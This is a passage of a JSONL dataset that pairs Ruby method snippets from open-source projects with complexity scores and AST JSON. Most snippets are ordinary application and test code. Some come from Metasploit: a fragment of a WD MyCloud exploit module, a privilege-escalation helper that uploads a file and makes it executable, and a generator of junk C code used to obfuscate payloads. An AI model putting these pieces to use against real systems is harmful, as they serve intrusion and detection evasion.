air\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"REPEATABLE_SESSION\"]}]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"TARGETURI\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The base path to WD MyCloud\"]},{\"type\":\"str\",\"children\":[\"/\"]}]}]}]}]}]}]}","id":"91da1d3d-2d07-412b-9d80-16ba308d8ad2"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/reporting/lib/report/query_utils.rb","start_line":187,"raw_source":"def adapter_name\n    engine.reporting_connection.adapter_name.downcase.to_sym\n  end","complexity_score":7.0,"ast_json":"{\"type\":\"def\",\"children\":[\"adapter_name\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"engine\"]},\"reporting_connection\"]},\"adapter_name\"]},\"downcase\"]},\"to_sym\"]}]}","id":"18d2d52d-5798-4e41-b90f-8a0a314a6044"}
{"repo_name":"rails","file_path":"./repos/rails/actionview/test/actionpack/controller/render_test.rb","start_line":1252,"raw_source":"def test_overwriting_rendering_relative_file_with_extension\n    get :hello_world_from_rxml_using_template\n    assert_equal \"<html>\\n  <p>Hello</p>\\n</html>\\n\", @response.body\n\n    get :hello_world_from_rxml_using_action\n    assert_equal \"<html>\\n  <p>Hello</p>\\n</html>\\n\", @response.body\n  end","complexity_score":6.4,"ast_json":"{\"type\":\"def\",\"children\":[\"test_overwriting_rendering_relative_file_with_extension\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"get\",{\"type\":\"sym\",\"children\":[\"hello_world_from_rxml_using_template\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"<html>\\n  <p>Hello</p>\\n</html>\\n\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@response\"]},\"body\"]}]},{\"type\":\"send\",\"children\":[null,\"get\",{\"type\":\"sym\",\"children\":[\"hello_world_from_rxml_using_action\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"<html>\\n  <p>Hello</p>\\n</html>\\n\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@response\"]},\"body\"]}]}]}]}","id":"b030ee56-a8d6-4a42-bae8-b63e58f6e03f"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/lib/gitlab/git_access_project_spec.rb","start_line":187,"raw_source":"def raise_not_found\n    raise_error(Gitlab::GitAccess::NotFoundError, Gitlab::GitAccess::ERROR_MESSAGES[:project_not_found])\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"raise_not_found\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"raise_error\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"GitAccess\"]},\"NotFoundError\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"GitAccess\"]},\"ERROR_MESSAGES\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"project_not_found\"]}]}]}]}","id":"d2700643-66e0-42d5-a30f-d9daad519dbd"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/models/queries/filters/shared/project_filter/optional.rb","start_line":47,"raw_source":"def type_strategy\n      # Instead of getting the IDs of all the projects a user is allowed\n      # to see we only check that the value is an integer.  Non valid ids\n      # will then simply create an empty result but will not cause any\n      # harm.\n      @type_strategy ||= ::Queries::Filters::Strategies::IntegerListOptional.new(self)\n    end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"type_strategy\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@type_strategy\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Queries\"]},\"Filters\"]},\"Strategies\"]},\"IntegerListOptional\"]},\"new\",{\"type\":\"self\",\"children\":[]}]}]}]}","id":"52a5b175-944c-4c04-a64f-abefe42d895f"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/controllers/queries/params_parser.rb","start_line":53,"raw_source":"def parse_orders_from_params(params)\n        JSON.parse(params[:sortBy])\n            .to_h\n            .map { |k, v| { attribute: k, direction: v } }\n      rescue JSON::ParserError\n        [{ attribute: \"invalid\", direction: \"asc\" }]\n      end","complexity_score":7.7,"ast_json":"{\"type\":\"def\",\"children\":[\"parse_orders_from_params\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"params\"]}]},{\"type\":\"rescue\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"JSON\"]},\"parse\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"sortBy\"]}]}]},\"to_h\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"k\"]},{\"type\":\"arg\",\"children\":[\"v\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"attribute\"]},{\"type\":\"lvar\",\"children\":[\"k\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"direction\"]},{\"type\":\"lvar\",\"children\":[\"v\"]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"JSON\"]},\"ParserError\"]}]},null,{\"type\":\"array\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"attribute\"]},{\"type\":\"str\",\"children\":[\"invalid\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"direction\"]},{\"type\":\"str\",\"children\":[\"asc\"]}]}]}]}]},null]}]}","id":"b12dbc16-642d-4c10-9c56-de6fb748763d"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/packages/debian/process_package_file_service.rb","start_line":86,"raw_source":"def package_distribution\n        return file_metadata[:fields]['Distribution'] if changes_file?\n\n        @distribution_name\n      end","complexity_score":5.9,"ast_json":"{\"type\":\"def\",\"children\":[\"package_distribution\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"changes_file?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"file_metadata\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"fields\"]}]},\"[]\",{\"type\":\"str\",\"children\":[\"Distribution\"]}]}]},null]},{\"type\":\"ivar\",\"children\":[\"@distribution_name\"]}]}]}","id":"9ddea006-55aa-443f-bd0c-8f08a07ddb20"}
{"repo_name":"fluentd","file_path":"./repos/fluentd/test/plugin/test_in_unix.rb","start_line":71,"raw_source":"def test_message\n    @d = create_driver\n\n    time = Fluent::EventTime.now\n    records = [\n      [\"tag1\", time, {\"a\" => 1}],\n      [\"tag2\", time, {\"a\" => 2}],\n    ]\n\n    @d.run(expect_records: records.length, timeout: 5) do\n      records.each {|tag, _time, record|\n        send_data packer.write([tag, _time, record]).to_s\n      }\n    end\n\n    assert_equal(records, @d.events)\n  end","complexity_score":19.4,"ast_json":"{\"type\":\"def\",\"children\":[\"test_message\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@d\",{\"type\":\"send\",\"children\":[null,\"create_driver\"]}]},{\"type\":\"lvasgn\",\"children\":[\"time\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Fluent\"]},\"EventTime\"]},\"now\"]}]},{\"type\":\"lvasgn\",\"children\":[\"records\",{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"tag1\"]},{\"type\":\"lvar\",\"children\":[\"time\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"a\"]},{\"type\":\"int\",\"children\":[1]}]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"tag2\"]},{\"type\":\"lvar\",\"children\":[\"time\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"a\"]},{\"type\":\"int\",\"children\":[2]}]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@d\"]},\"run\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"expect_records\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"records\"]},\"length\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"timeout\"]},{\"type\":\"int\",\"children\":[5]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"records\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"tag\"]},{\"type\":\"arg\",\"children\":[\"_time\"]},{\"type\":\"arg\",\"children\":[\"record\"]}]},{\"type\":\"send\",\"children\":[null,\"send_data\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"packer\"]},\"write\",{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tag\"]},{\"type\":\"lvar\",\"children\":[\"_time\"]},{\"type\":\"lvar\",\"children\":[\"record\"]}]}]},\"to_s\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"lvar\",\"children\":[\"records\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@d\"]},\"events\"]}]}]}]}","id":"ffa2abec-9c77-44a5-88e0-24209715ddc8"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/models/journable/with_historic_attributes/loader.rb","start_line":41,"raw_source":"def at_timestamp(timestamp)\n      @at_timestamp ||= Hash.new do |h, t|\n        h[t] = journalized_at_timestamp(t).index_by(&:id)\n      end\n\n      @at_timestamp[timestamp]\n    end","complexity_score":8.8,"ast_json":"{\"type\":\"def\",\"children\":[\"at_timestamp\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"timestamp\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@at_timestamp\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Hash\"]},\"new\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"h\"]},{\"type\":\"arg\",\"children\":[\"t\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"h\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"t\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"journalized_at_timestamp\",{\"type\":\"lvar\",\"children\":[\"t\"]}]},\"index_by\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@at_timestamp\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"timestamp\"]}]}]}]}","id":"a4590ed8-47c1-4925-b26c-2eadbedf99f5"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/local/lastore_daemon_dbus_priv_esc.rb","start_line":78,"raw_source":"def upload_and_chmodx(path, data)\n    upload path, data\n    cmd_exec \"chmod +x '#{path}'\"\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"upload_and_chmodx\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"path\"]},{\"type\":\"arg\",\"children\":[\"data\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"upload\",{\"type\":\"lvar\",\"children\":[\"path\"]},{\"type\":\"lvar\",\"children\":[\"data\"]}]},{\"type\":\"send\",\"children\":[null,\"cmd_exec\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"chmod +x '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]}]},{\"type\":\"str\",\"children\":[\"'\"]}]}]}]}]}","id":"33b7daa0-3f2c-475c-88dd-1b8ee7410c4f"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/associations/has_many_through_associations_test.rb","start_line":1310,"raw_source":"def test_preloading_empty_through_with_polymorphic_source_association\n    owner = Owner.create!(name: \"Rainbow Unicat\")\n    pet = Pet.create!(owner: owner)\n    person = Person.create!(first_name: \"Gaga\")\n    treasure = Treasure.create!(looter: person)\n    non_looted_treasure = Treasure.create!()\n    PetTreasure.create!(pet: pet, treasure: treasure, rainbow_color: \"Ultra violet indigo\")\n    PetTreasure.create!(pet: pet, treasure: non_looted_treasure, rainbow_color: \"Ultra violet indigo\")\n\n    assert_equal [person], Owner.where(name: \"Rainbow Unicat\").includes(pets: :persons).first.persons.to_a\n  end","complexity_score":21.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_preloading_empty_through_with_polymorphic_source_association\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"owner\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Owner\"]},\"create!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"Rainbow Unicat\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"pet\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Pet\"]},\"create!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"owner\"]},{\"type\":\"lvar\",\"children\":[\"owner\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"person\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Person\"]},\"create!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"first_name\"]},{\"type\":\"str\",\"children\":[\"Gaga\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"treasure\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Treasure\"]},\"create!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"looter\"]},{\"type\":\"lvar\",\"children\":[\"person\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"non_looted_treasure\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Treasure\"]},\"create!\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PetTreasure\"]},\"create!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"pet\"]},{\"type\":\"lvar\",\"children\":[\"pet\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"treasure\"]},{\"type\":\"lvar\",\"children\":[\"treasure\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"rainbow_color\"]},{\"type\":\"str\",\"children\":[\"Ultra violet indigo\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PetTreasure\"]},\"create!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"pet\"]},{\"type\":\"lvar\",\"children\":[\"pet\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"treasure\"]},{\"type\":\"lvar\",\"children\":[\"non_looted_treasure\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"rainbow_color\"]},{\"type\":\"str\",\"children\":[\"Ultra violet indigo\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"person\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Owner\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"Rainbow Unicat\"]}]}]}]},\"includes\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"pets\"]},{\"type\":\"sym\",\"children\":[\"persons\"]}]}]}]},\"first\"]},\"persons\"]},\"to_a\"]}]}]}]}","id":"688a2772-acc5-44e5-a0f1-61a3d6a0e9a4"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/cert/lib/cert/runner.rb","start_line":66,"raw_source":"def revoke_expired_certs!\n      FastlaneCore::PrintTable.print_values(config: Cert.config, hide_keys: [:output_path], title: \"Summary for cert #{Fastlane::VERSION}\")\n\n      login\n\n      to_revoke = expired_certs\n\n      if to_revoke.empty?\n        UI.success(\"No expired certificates were found to revoke! 👍\")\n        return\n      end\n\n      revoke_count = 0\n\n      to_revoke.each do |certificate|\n        begin\n          UI.message(\"#{certificate.id} #{certificate.display_name} has expired, revoking...\")\n          certificate.delete!\n          revoke_count += 1\n        rescue => e\n          UI.error(\"An error occurred while revoking #{certificate.id} #{certificate.display_name}\")\n          UI.error(\"#{e.message}\\n#{e.backtrace.join(\"\\n\")}\") if FastlaneCore::Globals.verbose?\n        end\n      end\n\n      UI.success(\"#{revoke_count} expired certificate#{'s' if revoke_count != 1} #{revoke_count == 1 ? 'has' : 'have'} been revoked! 👍\")\n    end","complexity_score":41.18,"ast_json":"{\"type\":\"def\",\"children\":[\"revoke_expired_certs!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FastlaneCore\"]},\"PrintTable\"]},\"print_values\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"config\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Cert\"]},\"config\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"hide_keys\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"output_path\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Summary for cert \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Fastlane\"]},\"VERSION\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"login\"]},{\"type\":\"lvasgn\",\"children\":[\"to_revoke\",{\"type\":\"send\",\"children\":[null,\"expired_certs\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"to_revoke\"]},\"empty?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UI\"]},\"success\",{\"type\":\"str\",\"children\":[\"No expired certificates were found to revoke! 👍\"]}]},{\"type\":\"return\",\"children\":[]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"revoke_count\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"to_revoke\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"certificate\"]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UI\"]},\"message\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"certificate\"]},\"id\"]}]},{\"type\":\"str\",\"children\":[\" \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"certificate\"]},\"display_name\"]}]},{\"type\":\"str\",\"children\":[\" has expired, revoking...\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"certificate\"]},\"delete!\"]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"revoke_count\"]},\"+\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"resbody\",\"children\":[null,{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UI\"]},\"error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"An error occurred while revoking \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"certificate\"]},\"id\"]}]},{\"type\":\"str\",\"children\":[\" \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"certificate\"]},\"display_name\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FastlaneCore\"]},\"Globals\"]},\"verbose?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UI\"]},\"error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"message\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"backtrace\"]},\"join\",{\"type\":\"str\",\"children\":[\"\\n\"]}]}]}]}]},null]}]}]},null]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UI\"]},\"success\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"revoke_count\"]}]},{\"type\":\"str\",\"children\":[\" expired certificate\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"revoke_count\"]},\"!=\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"str\",\"children\":[\"s\"]},null]}]},{\"type\":\"str\",\"children\":[\" \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"revoke_count\"]},\"==\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"str\",\"children\":[\"has\"]},{\"type\":\"str\",\"children\":[\"have\"]}]}]},{\"type\":\"str\",\"children\":[\" been revoked! 👍\"]}]}]}]}]}","id":"07c5f930-8a1a-4749-ae47-01bbef758ab7"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/redis/cluster_store.rb","start_line":56,"raw_source":"def get_ttl(options)\n        # https://github.com/redis-store/redis-store/blob/v1.10.0/lib/redis/store/ttl.rb#L37\n        options[:expire_after] || options[:expires_in] || options[:expire_in] if options\n      end","complexity_score":7.1,"ast_json":"{\"type\":\"def\",\"children\":[\"get_ttl\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"options\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},{\"type\":\"or\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"expire_after\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"expires_in\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"expire_in\"]}]}]},null]}]}","id":"529e32c0-70e7-430b-9c63-c4a730bb3067"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/external/source/unixasm/objdumptoc.rb","start_line":116,"raw_source":"def parse\n\t\tparse_file(file)\n\tend","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"parse\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"parse_file\",{\"type\":\"send\",\"children\":[null,\"file\"]}]}]}","id":"70fd704d-6aa7-4204-9570-cfbda51b16d8"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/models/topic.rb","start_line":1330,"raw_source":"def grant_permission_to_user(lower_email)\n    user = User.find_by_email(lower_email)\n    unless topic_allowed_users.exists?(user_id: user.id)\n      topic_allowed_users.create!(user_id: user.id)\n    end\n  end","complexity_score":10.1,"ast_json":"{\"type\":\"def\",\"children\":[\"grant_permission_to_user\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"lower_email\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"user\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},\"find_by_email\",{\"type\":\"lvar\",\"children\":[\"lower_email\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"topic_allowed_users\"]},\"exists?\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"id\"]}]}]}]},null,{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"topic_allowed_users\"]},\"create!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"id\"]}]}]}]}]}]}]}","id":"35ca69e2-433c-40bb-8016-e827829d4646"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/metasploit/framework/obfuscation/crandomizer/code_factory/if.rb","start_line":33,"raw_source":"def if_if_else_stub\n              var_name = \"xforif2#{Metasploit::Framework::Obfuscation::CRandomizer::Utility.rand_int}\"\n\n              %Q|\n              void stub() {\n                int #{var_name} = #{Metasploit::Framework::Obfuscation::CRandomizer::Utility.rand_int};\n                if (#{var_name}) {\n                  #{var_name} = #{Metasploit::Framework::Obfuscation::CRandomizer::Utility.rand_int};\n                } else if (#{var_name} == #{Metasploit::Framework::Obfuscation::CRandomizer::Utility.rand_int}) {\n                  #{var_name} = #{Metasploit::Framework::Obfuscation::CRandomizer::Utility.rand_int};\n                } else {\n                  #{var_name} = #{Metasploit::Framework::Obfuscation::CRandomizer::Utility.rand_int};\n                }\n              }|\n            end","complexity_score":7.0,"ast_json":"{\"type\":\"def\",\"children\":[\"if_if_else_stub\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"var_name\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"xforif2\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Metasploit\"]},\"Framework\"]},\"Obfuscation\"]},\"CRandomizer\"]},\"Utility\"]},\"rand_int\"]}]}]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"              void stub() {\\n\"]},{\"type\":\"str\",\"children\":[\"                int 